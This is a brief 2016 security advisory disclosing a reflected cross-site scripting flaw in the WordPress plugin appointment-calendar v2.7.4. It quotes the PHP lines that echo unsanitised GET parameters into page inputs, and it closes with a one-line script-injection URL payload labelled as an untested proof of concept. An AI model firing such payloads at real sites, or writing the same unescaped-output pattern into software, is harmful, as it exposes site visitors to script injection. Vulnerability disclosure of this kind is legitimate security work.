Advisory #: 319
Title: Reflected XSS in wordpress plugin appointment-calendar v2.7.4
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site:
Downloads: 56407
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact:
Plugin Name: appointment-calendar
There is a reflected XSS vulnerability in the following php code ./appointment-calendar/appointment-calendar-shortcode.php: 988: <input type="hidden" name="serviceid" id="serviceid" value="<?php echo $_GET['ServiceId']; ?>" /> 989: <input type="hidden" name="appointmentdate" id="appointmentdate" value="<?php echo $_GET['AppDate']; ?>" /> The variable ServiceId appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/appointment-calendar/appointment-calendar-shortcode.php?ServiceId="><script>alert(1);</script><"